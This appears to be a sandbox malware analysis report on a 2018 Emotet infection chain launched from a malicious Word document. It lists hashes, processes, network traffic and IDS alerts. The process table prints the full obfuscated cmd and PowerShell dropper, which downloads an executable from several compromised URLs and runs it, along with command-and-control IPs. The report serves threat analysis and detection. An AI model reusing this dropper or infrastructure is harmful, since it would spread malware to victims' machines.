URL: | http://mydesigncell.com/yoLI-7wjq2yJkXFbOWxv_cRSXIGVE-sWf |
Full analysis: | https://app.any.run/tasks/0e252b39-3ecf-486d-9233-55f0293c2ecc |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | December 18, 2018, 19:47:11 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MD5: | BA2EBB0DC56CEA0EBEE13E59BF6C4D72 |
SHA1: | BCAB8AAA0727C826AD99E61AD0FC09A61900004C |
SHA256: | F7370142E1DDAC86395EF7E26DEE266A5073A0924D03C3490928BA6160710B64 |
SSDEEP: | 3:N1KTgyAJFGTHyDsMWBVgnn:CFW6yYBzgn |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3512 | "C:\Program Files\Internet Explorer\iexplore.exe" -nohome | C:\Program Files\Internet Explorer\iexplore.exe | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Exit code: 1 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
3804 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3512 CREDAT:71937 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
2824 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\SWIFT_0YECUCUVI[1].doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | iexplore.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
1732 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Embedding | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
2304 | c:\d30780576296\r9468007954711\O56815873352260\..\..\..\windows\system32\cmd.exe /c %PrOgrAmdatA:~0,1%%prOGramDATa:~9,2% /v:o /C "SEt DH=;'010q'=714m$}}{hctac}};kaerb;'606G'=243k$;305A$ metI-ekovnI{ )00008 eg- htgnel.)305A$ metI-teG(( fI;'974N'=306O$;)305A$ ,433c$(eliFdaolnwoD.922k${yrt{)576F$ ni 433c$(hcaerof;'exe.'+693i$+'\'+pmet:vne$=305A$;'112P'=340w$;'045' = 693i$;'561p'=444W$;)'@'(tilpS.'kTc0ncXuIq/ofni.lorit-nretleegelfp.www//:ptth@ywVVoD8/moc.scitcategarag.www//:ptth@Mbm154DHn/gro.otpnoslen.www//:ptth@NAx22aD/moc.ocellatsni.www//:ptth@IVBONwk/moc.yrotcafrajeht.www//:ptth'=576F$;tneilCbeW.teN tcejbo-wen=922k$;'164t'=338j$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop& fOr /L %b in ( 550 -1 0) do seT 9V=!9V!!DH:~ %b, 1!&& iF %b == 0 Echo !9V:~ -551!| FOR /F "tokens=2 delims=xyHF" %U IN ('ftype^^^|find "SHCm"')DO %U " | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2548 | CmD /v:o /C "SEt DH=;'010q'=714m$}}{hctac}};kaerb;'606G'=243k$;305A$ metI-ekovnI{ )00008 eg- htgnel.)305A$ metI-teG(( fI;'974N'=306O$;)305A$ ,433c$(eliFdaolnwoD.922k${yrt{)576F$ ni 433c$(hcaerof;'exe.'+693i$+'\'+pmet:vne$=305A$;'112P'=340w$;'045' = 693i$;'561p'=444W$;)'@'(tilpS.'kTc0ncXuIq/ofni.lorit-nretleegelfp.www//:ptth@ywVVoD8/moc.scitcategarag.www//:ptth@Mbm154DHn/gro.otpnoslen.www//:ptth@NAx22aD/moc.ocellatsni.www//:ptth@IVBONwk/moc.yrotcafrajeht.www//:ptth'=576F$;tneilCbeW.teN tcejbo-wen=922k$;'164t'=338j$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop& fOr /L %b in ( 550 -1 0) do seT 9V=!9V!!DH:~ %b, 1!&& iF %b == 0 Echo !9V:~ -551!| FOR /F "tokens=2 delims=xyHF" %U IN ('ftype^^^|find "SHCm"')DO %U " | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3580 | C:\Windows\system32\cmd.exe /S /D /c" Echo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $j833='t461';$k229=new-object Net.WebClient;$F675='http://www.thejarfactory.com/kwNOBVI@http://www.installeco.com/Da22xAN@http://www.nelsonpto.org/nHD451mbM@http://www.garagetactics.com/8DoVVwy@http://www.pflegeeltern-tirol.info/qIuXcn0cTk'.Split('@');$W444='p165';$i396 = '540';$w043='P211';$A503=$env:temp+'\'+$i396+'.exe';foreach($c334 in $F675){try{$k229.DownloadFile($c334, $A503);$O603='N479';If ((Get-Item $A503).length -ge 80000) {Invoke-Item $A503;$k342='G606';break;}}catch{}}$m417='q010';" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3640 | C:\Windows\system32\cmd.exe /S /D /c" FOR /F "tokens=2 delims=xyHF" %U IN ('ftype^|find "SHCm"') DO %U " | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
4092 | C:\Windows\system32\cmd.exe /c ftype|find "SHCm" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2348 | C:\Windows\system32\cmd.exe /S /D /c" ftype" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) |
PID | Process | Filename | Type | |
---|---|---|---|---|
3512 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
3512 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— | |||
3512 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DF028805C010FEF8DD.TMP | — | |
MD5:— | SHA256:— | |||
2824 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRC518.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2824 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_394E9A75-E61A-4AFF-9C9D-EA925D50CE6B.0\83F7CCC3.doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
3512 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DF24A6FB79BBAB8873.TMP | — | |
MD5:— | SHA256:— | |||
3512 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\RecoveryStore.{BED24127-02FD-11E9-834A-5254004A04AF}.dat | — | |
MD5:— | SHA256:— | |||
2824 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7BEDA6C9.wmf | — | |
MD5:— | SHA256:— | |||
2824 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C2E4BCBF.wmf | — | |
MD5:— | SHA256:— | |||
1732 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_394E9A75-E61A-4AFF-9C9D-EA925D50CE6B.0\~DFB0C738183F683283.TMP | — | |
MD5:— | SHA256:— |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3804 | iexplore.exe | GET | 301 | 67.20.76.105:80 | http://mydesigncell.com/yoLI-7wjq2yJkXFbOWxv_cRSXIGVE-sWf | US | html | 332 b | suspicious |
3804 | iexplore.exe | GET | 200 | 67.20.76.105:80 | http://mydesigncell.com/yoLI-7wjq2yJkXFbOWxv_cRSXIGVE-sWf/ | US | document | 92.9 Kb | suspicious |
1472 | archivesymbol.exe | GET | — | 78.189.21.131:80 | http://78.189.21.131/ | TR | — | — | malicious |
1472 | archivesymbol.exe | GET | — | 187.140.90.91:8080 | http://187.140.90.91:8080/ | MX | — | — | malicious |
3428 | powershell.exe | GET | 404 | 185.87.187.166:80 | http://www.thejarfactory.com/kwNOBVI | NL | html | 324 b | malicious |
3428 | powershell.exe | GET | 200 | 162.212.131.129:80 | http://www.installeco.com/Da22xAN/ | US | executable | 124 Kb | malicious |
3512 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | image | 237 b | whitelisted |
3428 | powershell.exe | GET | 301 | 162.212.131.129:80 | http://www.installeco.com/Da22xAN | US | html | 242 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3428 | powershell.exe | 162.212.131.129:80 | www.installeco.com | A2 Hosting, Inc. | US | malicious |
3512 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
3804 | iexplore.exe | 67.20.76.105:80 | mydesigncell.com | Unified Layer | US | suspicious |
3428 | powershell.exe | 185.87.187.166:80 | www.thejarfactory.com | Astralus B.V. | NL | suspicious |
1472 | archivesymbol.exe | 213.120.119.231:8443 | — | British Telecommunications PLC | GB | malicious |
1472 | archivesymbol.exe | 187.140.90.91:8080 | — | Uninet S.A. de C.V. | MX | malicious |
1472 | archivesymbol.exe | 78.189.21.131:80 | — | Turk Telekom | TR | malicious |
Domain | IP | Reputation |
---|---|---|
www.bing.com |
| whitelisted |
mydesigncell.com |
| suspicious |
www.thejarfactory.com |
| malicious |
www.installeco.com |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
3804 | iexplore.exe | Potentially Bad Traffic | ET WEB_CLIENT Obfuscated Javascript // ptth |
3428 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
3428 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
3428 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
3428 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
3428 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3428 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3428 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
1472 | archivesymbol.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |
1472 | archivesymbol.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |